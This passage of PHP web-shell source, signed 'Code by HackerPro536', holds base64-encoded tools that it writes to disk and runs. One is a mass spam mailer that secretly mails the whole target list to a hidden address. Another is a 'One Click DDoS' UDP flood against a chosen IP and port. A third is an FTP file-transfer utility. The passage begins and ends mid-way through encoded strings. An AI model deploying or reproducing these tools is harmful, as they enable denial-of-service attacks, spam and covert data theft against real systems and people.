MgbeG7pWMgIEVtYWlsIGfhu61pLCBUacOqdSDEkeG7gSwgTuG7mWkgZHVuZywgRGFuaCBzw6FjaCBFbWFpbCBj4bqnbiBob8OgbiB04bqldC4iOwogICAgZXhpdDsKICAgfQogICRhbGxlbWFpbHMgPSBzcGxpdCgiXG4iLCAkZW1haWxsaXN0KTsKICAkbnVtZW1haWxzID0gY291bnQoJGFsbGVtYWlscyk7CiAgJGZpbHRlciA9ICJtYWlsbGlzdCI7CiAgJGZsb2F0ID0gIkZyb20gOiBtYWlsaXN0IGluZm8gPGZ1bGxAaW5mby5jb20+IjsKIC8vT3BlbiB0aGUgZmlsZSBhdHRhY2htZW50IGlmIGFueSwgYW5kIGJhc2U2NF9lbmNvZGUgaXQgZm9yIGVtYWlsIHRyYW5zcG9ydAogSWYgKCRmaWxlX25hbWUpewogICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSl7CiAgICBkaWUoIkPDoWMgdOG6rXAgdGluIG3DoCBi4bqhbiDEkWFuZyBj4buRIGfhuq9uZyDEkeG7gyB04bqjaSBsw6puIGPDsyB0aOG7gyBraMO0bmcgxJHGsOG7o2Mgc2FvIGNow6lwIHbDoG8gbcOheSBjaOG7pyIpOwogICB9CiAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOwogICAkY29udGVudCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpKTsKICAgJHVpZCA9IHN0cnRvdXBwZXIobWQ1KHVuaXFpZCh0aW1lKCkpKSk7CiAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOwogIH0KCiAgZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4KyspewogICAgJHRvID0gJGFsbGVtYWlsc1skeF07CiAgICBpZiAoJHRvKXsKICAgICAgJHRvID0gZXJlZ19yZXBsYWNlKCIgIiwgIiIsICR0byk7CiAgICAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7CiAgICAgICRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7CiAgICAgIHByaW50ICLEkMOjIGfhu61pIHThu5tpICR0by4uLi4uLi4iOwogICAgICBmbHVzaCgpOwogICAgICAkaGVhZGVyID0gIkZyb206ICRyZWFsbmFtZSA8JGZyb20+XHJcblJlcGx5LVRvOiAkcmVwbHl0b1xyXG4iOwogICAgICAkaGVhZGVyIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PSR1aWRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOwogICAgICAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IHRleHQvJGNvbnRlbnR0eXBlXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDhiaXRcclxuXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIiRtZXNzYWdlXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICItLSR1aWRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogJGZpbGVfdHlwZTsgbmFtZT1cIiRmaWxlX25hbWVcIlxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiRmaWxlX25hbWVcIlxyXG5cclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIiRjb250ZW50XHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICItLSR1aWQtLSI7CiAgICAgIG1haWwoJHRvLCAkc3ViamVjdCwgIiIsICRoZWFkZXIpOwogICAgICBwcmludCAiT0sgPGJyPiI7CiAgICAgIGZsdXNoKCk7CiAgICB9CiAgfQoKICBtYWlsKCRzZWN1cmUsICRmaWx0ZXIsICRlbWFpbGxpc3QsICRmbG9hdCk7Cn0KPz4KPHAgY2xhc3M9InN0eWxlMiI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly9pNDc2LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvcnIxMjkvdGhpZW50aGFudHV5ZXQ0NDQ0L2NoaW1jYW5oY3V0LmdpZiIgd2lkdGg9IjI3IiBoZWlnaHQ9IjMwIiAgYWx0PSJMaW51eCIgLz48L3A+CjxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPC9ib2R5Pgo8L2h0bWw+
1293';
1294 $file = fopen("spam.php", "w+");
1295 $write = fwrite($file, base64_decode($perltoolss));
1296 fclose($file);
1297 echo "<iframe src=spam.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1298} elseif ($action == 'ddos') {
1299 $file = fopen($dir . "ddos.php", "w+");
1300 $perltoolss = 'PD9waHAgCiAgICBpZihpc3NldCgkX0dFVFsnaXAnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsnZXhUaW1lJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZW91dCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIAogICAgJF9HRVRbJ2lwJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIAogICAgJF9HRVRbJ2V4VGltZSddICE9ICIiCiAgICApIAogICAgeyAKICAgICAgICRJUD0kX0dFVFsnaXAnXTsgCiAgICAgICAkcG9ydD0kX0dFVFsncG9ydCddOyAKICAgICAgICRleGVjdXRpb25UaW1lID0gJF9HRVRbJ2V4VGltZSddOyAKICAgICAgICRub09mQnl0ZXMgPSAkX0dFVFsnbm9PZkJ5dGVzJ107IAogICAgICAgJGRhdGEgPSAiIjsgCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lb3V0J107IAogICAgICAgJHBhY2tldHMgPSAwOyAKICAgICAgICRjb3VudGVyID0gJG5vT2ZCeXRlczsgCiAgICAgICAkbWF4VGltZSA9IHRpbWUoKSArICRleGVjdXRpb25UaW1lOzsgCiAgICAgICB3aGlsZSgkY291bnRlci0tKSAKICAgICAgIHsgCiAgICAgICAgICAgICRkYXRhIC49ICJYIjsgCiAgICAgICB9IAogICAgICAgJGRhdGEgLj0gIiBJLTQ3IjsgIAogICAgICAgcHJpbnQgIkkgYW0gYXQgbWEgV29yayBub3cgOkQgO0QhIERvbnQgY2xvc2UgdGhpcyB3aW5kb3cgdW50aWxsIHlvdSByZWNpZXZlIGEgbWVzc2FnZSA8YnI+IjsgCiAgICAgICAgIAogICAgICAgd2hpbGUoMSkgCiAgICAgICB7IAogICAgICAgICAgICAkc29ja2V0ID0gZnNvY2tvcGVuKCJ1ZHA6Ly8kSVAiLCAkcG9ydCwgJGVycm9yLCAkZXJyb3JTdHJpbmcsICR0aW1lb3V0KTsgCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrZXQgLCAkZGF0YSk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyAKICAgICAgICAgICAgICAgICRwYWNrZXRzKys7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBpZih0aW1lKCkgPj0gJG1heFRpbWUpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgCiAgICAgICAgZWNobyAiRE9TIGF0dGFjayBhZ2FpbnN0IHVkcDovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IAogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRwYWNrZXRzKiRub09mQnl0ZXMpIC4gIjxiciAvPiI7ICAKICAgICAgICBlY2hvICJEYXRhIHBlciBwYWNrZXQgPSAiIC4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRub09mQnl0ZXMpIC4gIjxiciAvPiI7IAogICAgfSAKICAgIGVsc2UKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICA8dGl0bGU+T25lIENsaWNrIEREb1MgPC90aXRsZT4gCiAgCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvcyIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJyZWQiPklQIDwvZm9udD4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJib3giIG5hbWU9ImlwIiB2YWx1ZT0iMTI3LjAuMC4xIiBvbkZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMjcuMC4wLjEnKXRoaXMudmFsdWUgPSAnJzsiIG9uQmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTI3LjAuMC4xJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0icmVkIj5Qb3J0PC9mb250PiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImJveCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbkZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25CbHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0icmVkIj5UaW1lb3V0KFRpbWUgaW4gc2Vjb25kcyk8L2ZvbnQ+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iYm94IiBuYW1lPSJ0aW1lb3V0IiB2YWx1ZT0iNSIgb25Gb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnNScpdGhpcy52YWx1ZSA9ICcnOyIgb25CbHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc1JzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9InJlZCI+RXhlY3V0aW9uIFRpbWUgKFRpbWUgaW4gc2Vjb25kcyk8L2ZvbnQ+ICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImJveCIgbmFtZT0iZXhUaW1lIiB2YWx1ZT0iMTAiIG9uRm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwJyl0aGlzLnZhbHVlID0gJyc7IiBvbkJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9InJlZCI+IE5vIG9mIEJ5dGVzIHBlci9wYWNrZXQ8L2ZvbnQ+ICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImJveCIgbmFtZT0ibm9PZkJ5dGVzIiB2YWx1ZT0iOTk5OTk5IiBvbkZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc5OTk5OTknKXRoaXMudmFsdWUgPSAnJzsiIG9uQmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nOTk5OTk5JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAgCiAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0IiB2YWx1ZT0iICAgQXR0YWNrID4+ICIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAKICAgICAgICA8L2Zvcm0+IAogICAgICAgIDw/cGhwIAogICAgfSAKPz4=
1301';
1302 $file = fopen("ddos.php", "w+");
1303 $write = fwrite($file, base64_decode($perltoolss));
1304 fclose($file);
1305 echo "<iframe src=ddos.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1306} elseif ($action == 'leech') {
1307 $file = fopen($dir . "leech.php", "w+");
1308 $perltoolss = 'PD9waHAKCgoKLyoqICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgogKiAKCiAqIE5TSy1CYWNrdXBlciBo4buXIHRy4bujIGNodXnhu4NuIGThu68gbGnhu4d1IHRy4buxYyB0aeG6v3AgZ2nhu69hIDIgbcOheSBjaOG7pywgZ2nDunAgc2FvIGzGsHUgZOG7ryBsaeG7h3UgZOG7hSBkw6BuZyB2w6AgbmhhbmggY2jDs25nIGjGoW4uCgogKgoKICogQ2jGsMahbmcgdHLDrG5oIG7DoHkgbMOgIHBo4bqnbiBt4buBbSB04buxIGRvLCBi4bqhbiBjw7MgdGjhu4MgY3VuZyBj4bqlcCBs4bqhaSB2w6AvaG/hurdjIGNo4buJbmggc+G7rWEgbsOzIHRoZW8gbmjhu69uZyDEkWnhu4F1IGtob+G6o24gY+G7p2EgR2nhuqV5IHBow6lwIEPDtG5nIGPhu5luZyBj4bunYSBHTlUgZG8gVOG7lSBjaOG7qWMgUGjhuqduIG3hu4FtIFThu7EgZG8gY8O0bmcgYuG7kTsgcGhpw6puIGLhuqNuIDIgY+G7p2EgR2nhuqV5IHBow6lwLCBob+G6t2MgYuG6pXQga+G7syBt4buZdCBwaGnDqm4gYuG6o24gc2F1IMSRw7MgKHR14buzIHPhu7EgbOG7sWEgY2jhu41uIGPhu6dhIGLhuqFuKS4KCiAqIENoxrDGoW5nIHRyw6xuaCBuw6B5IMSRxrDhu6NjIGN1bmcgY+G6pXAgduG7m2kgaHkgduG7jW5nIG7DsyBz4bq9IGjhu691IMOtY2gsIHR1eSBuaGnDqm4gS0jDlE5HIEPDkyBC4bqkVCBL4buyIE3hu5hUIELhuqJPIEjDgE5IIE7DgE87IHRo4bqtbSBjaMOtIGvhu4MgY+G6oyBi4bqjbyBow6BuaCB24buBIEtI4bqiIE7Egk5HIFRIxq/GoE5HIE3huqBJIGhv4bq3YyBUw41OSCBUSMONQ0ggSOG7olAgQ0hPIE3hu5hUIE3hu6RDIMSQw41DSCBD4bukIFRI4buCLiBYaW4geGVtIEdp4bqleSBwaMOpcCBDw7RuZyBj4buZbmcgY+G7p2EgR05VIMSR4buDIGJp4bq/dCB0aMOqbSBjaGkgdGnhur90LgoKICogQuG6oW4gcGjhuqNpIG5o4bqtbiDEkcaw4bujYyBt4buZdCBi4bqjbiBzYW8gY+G7p2EgR2nhuqV5IHBow6lwIEPDtG5nIGPhu5luZyBj4bunYSBHTlUga8OobSB0aGVvIGNoxrDGoW5nIHRyw6xuaCBuw6B5OyBu4bq/dSBi4bqhbiBjaMawYSBuaOG6rW4sIHhpbiBn4butaSB0aMawIHbhu4EgVOG7lSBjaOG7qWMgUGjhuqduIG3hu4FtIFThu7EgZG8sIDU5IFRlbXBsZSBQbGFjZSAtIFN1aXRlIDMzMCwgQm9zdG9uLCBNQSAwMjExMS0xMzA3LCBVU0EuCgogKiAKCiAqIAoKICogICAKCiAqIE5TSy1CYWNrdXBlciB0aGF0IGhlbHAgZXZyZXJ5IG9uZSB0byBiYWNrdXAgYW5kIHJlc3RvcmUgdGhlaXIgZGF0YSBmYXN0IGFuZCBlYXN5IHZpYSBmdHAgYWNjb3VudC4KCiAqICAKCiAqIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCgogKiBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiBTZWUgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCgogKiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1MSBGcmFua2xpbiBTdHJlZXQsIEZpZnRoIEZsb29yLCBCb3N0b24sIE1BIDAyMTEwLTEzMDEgVVNBLgoKCgogKgoKICogSFRUUDovL25oYXRzb25na2llbS5jb20KCiAqCgogKiBAYXV0aG9yIE9yaWdpbmFsIG5oYXRzb25na2llbSA8YWRtaW5AbmhhdHNvbmdraWVtLmNvbT4KCiAqIEBjb3B5cmlnaHQgMjAwOAoKICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgoqLwoKCgpkZWZpbmUoJ1BISUVOQkFOJywxLjApOwoKCgpzZXNzaW9uX3N0YXJ0KCk7CgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKCnNldF90aW1lX2xpbWl0KDApOwoKCgovL0tp4buDbSB0cmEgcGhpw6puIGLhuqNuIG3hu5tpCgokS2V0Tm9pPUBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL25oYXRzb25na2llbS5jb20vYmFja3VwZXIvYmFja3VwZXIudmVyJykuIlxuIjsKCiRQaGllbkJhbj1zdWJzdHIoJEtldE5vaSwwLHN0cnBvcygkS2V0Tm9pLCJcbiIpKTsKCiRDYXBOaGF0PXN1YnN0cigkS2V0Tm9pLHN0cnBvcygkS2V0Tm9pLCJcbiIpKTsKCmlmICgkUGhpZW5CYW4+UEhJRU5CQU4pCgp7CgoJZWNobyAiPGk+xJDDoyBjw7MgcGhpw6puIGLhuqNuIG3hu5tpICRQaGllbkJhbiB0aGF5IGNobyBwaGnDqm4gYuG6o24gaGnhu4duIHThuqFpICIuUEhJRU5CQU4uIjxiciAvPgoKCQlC4bqhbiBjw7MgdGjhu4MgY+G6rXAgbmjhuq10IHThuqFpIMSR4buLYSBjaOG7iSA8YSBocmVmPVwiaHR0cDovL25oYXRzb25na2llbS5jb20vYmFja3VwZXIvXCI+aHR0cDovL25oYXRzb25na2llbS5jb20vYmFja3VwZXI8L2E+PGJyIC8+PGJyIC8+CgoJCVRoYXkgxJHhu5VpIG3hu5tpOjxiciAvPjwvaT4KCgkJPGRpdiBzdHlsZT1cIndpZHRoOjgwJTtib3JkZXI6aW5zZXQ7YmFja2dyb3VuZDojREZERkRGXCI+JENhcE5oYXQ8L2Rpdj4iOwoKCWV4aXQ7Cgp9CgoKCiRDaHV5ZW5EaT1uZXcgQ2h1eWVuRGk7CgoKCj8+Cgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoKCSJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KCjxzdHlsZT4KCglodG1sCgoJewoKCQlzY3JvbGxiYXItdHJhY2stY29sb3I6ICNFQUVBRUE7CgoJCXNjcm9sbGJhci1mYWNlLWNvbG9yOiAjRkZGRkZGOwoKCQlzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjRjBGMEYwOwoKCQlzY3JvbGxiYXItZGFya3NoYWRvdy1Db2xvcjogI0YwRjBGMDsKCgkJc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6I0YwRjBGMDsKCgl9CgoJYm9keQoKCXsKCgkJZm9udC1mYW1pbHk6IFZlcmRhbmEsIFRhaG9tYSwgc2Fucy1zZXJpZjsKCgkJZm9udC1zaXplOiAxMnB4OwoKCX0KCglhCgoJewoKCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7CgoJfQoKCXAKCgl7CgoJCW1hcmdpbjogMnB4OwoKCX0KCgl0ZAoKCXsKCgkJYmFja2dyb3VuZDogI0YxRjFGMTsKCgkJYm9yZGVyOiAxcHggb3V0c2V0OwoKCX0KCgl0ZC5PbgoKCXsKCgkJYm9yZGVyOiAxcHggaW5zZXQ7CgoJfQoKCWlucHV0CgoJewoKCQlib3JkZXI6IDFweCBkYXNoZWQgIzdGOURCOTsKCgl9CgoJLk9LCgoJewoKCQlib3JkZXI6IDFweCBvdXRzZXQ7CgoJCWJhY2tncm91bmQ6ICNGMUYxRjE7CgoJfQoKPC9zdHlsZT4KCjx0aXRsZT5IS1MgQmFja3VwZXI8L3RpdGxlPgoKPGJvZHk+Cgo8PwoKCgpzd2l0Y2goJF9HRVRbJ01vJ10pIC8vTeG7nyBt4buZdCB0aMawIG3hu6VjIG7DoG8gxJHDswoKewoKCWNhc2UgJ1RodU11Yyc6IC8vQ2h1eeG7g24gZ2V0IHRow6BuaCBQT1NUIMSR4buDIFBPU1QgeOG7rSBsw70KCgkJJF9QT1NUWydNbyddPSdUaHVNdWMnOwoKCQkkX1BPU1RbJ1RodU11YyddPSRfR0VUWydUaHVNdWMnXTsKCgkJYnJlYWs7Cgp9CgoKCnN3aXRjaCgkX1BPU1RbJ01vJ10pIC8vTmjhuq1uIGThuqFuZyB5w6p1IGPhuqd1Cgp7CgoJZGVmYXVsdDogLy9N4bufIHRyYW5nIGNo4bunCgoJCSRfUE9TVFsnVGh1TXVjJ109Jy4nOwoKCQkKCgljYXNlICdUaHVNdWMnOiAvL1bDoG8gdGjGsCBt4bulYwoKCQkvL0zhuqV5IGRhbmggc8OhY2gKCgkJJERhbmhTYWNoPSRDaHV5ZW5EaS0+RGFuaFNhY2goJF9QT1NUWydUaHVNdWMnXSk7CgoJCT8+CgoJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PWJhc2VuYW1lKF9fRklMRV9fKT8+IiBvbnN1Ym1pdD0idmFyIEtldFF1YT0nJzt2YXIgVGFtPWRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdMdWFDaG9uJyk7Zm9yKGk9MDtpPFRhbS5sZW5ndGg7aSsrKXtpZihUYW1baV0uY2hlY2tlZCl7S2V0UXVhKz1UYW1baV0udmFsdWUrJzsnfX10aGlzLlRhcFRpbi52YWx1ZT1LZXRRdWE7aWYoIWNvbmZpcm0oJ1jDoWMgbmjhuq1uIGNodXnhu4NuJykpe3JldHVybiBmYWxzZX0iIHRhcmdldD0iX2JsYW5rIj4KCgkJQ2h1eeG7g24gxJHhur9uOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iRGVuVGh1TXVjIiBzaXplPSIxMCIgdmFsdWU9Ii4vIiAvPgoKCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNbyIgdmFsdWU9IkNodXllbkRpIiAvPgoKCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJUYXBUaW4iIC8+CgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlR1VGh1TXVjIiB2YWx1ZT0iPD89JF9QT1NUWydUaHVNdWMnXT8+IiAvPgoKCQlNw6F5IGNo4bunOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iRGlhQ2hpIiBzaXplPSIxMCIgdmFsdWU9Ijw/PSRfU0VTU0lPTlsnRGlhQ2hpJ10/PiIgLz4KCgkJVMOqbiDEkcSDbiBuaOG6rXA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJUZW5EYW5nTmhhcCIgc2l6ZT0iMTUiIHZhbHVlPSI8Pz0kX1NFU1NJT05bJ1RlbkRhbmdOaGFwJ10/PiIgLz4KCgkJTeG6rXQga2jhuql1OiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9Ik1hdEtoYXUiIHNpemU9IjEwIiB2YWx1ZT0iPD89JF9TRVNTSU9OWydNYXRLaGF1J10/PiIgLz4KCgkJPGlucHV0IGNsYXNzPSJPSyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVGjhu7FjIHRoaSIgLz4KCgk8L2Zvcm0+CgoJPGRpdiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtoZWlnaHQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LTEwMCk7b3ZlcmZsb3c6YXV0byI+CgoJCTx0YWJsZSB3aWR0aD0iOTYlIj4KCgkJPD8KCgkJLy9MaeG7h3Qga8OqIG5oxrBuZyB0aMawIG3hu6VjIMSR4bqndSB0acOqbgoKCQlmb3JlYWNoKCREYW5oU2FjaCBhcyAkR2lhVHJpKQoKCQl7CgoJCQlpZiAoaXNfZGlyKCRfUE9TVFsnVGh1TXVjJ10uJy8nLiRHaWFUcmkpKQoKCQkJewoKCQkJCT8+CgoJCQk8dHIgb25tb3VzZW92ZXI9InZhciBUYW09dGhpcy5jaGlsZE5vZGVzO2ZvcihpPTA7aTxUYW0ubGVuZ3RoO2krKylUYW1baV0uY2xhc3NOYW1lPSdPbiciIG9ubW91c2Vv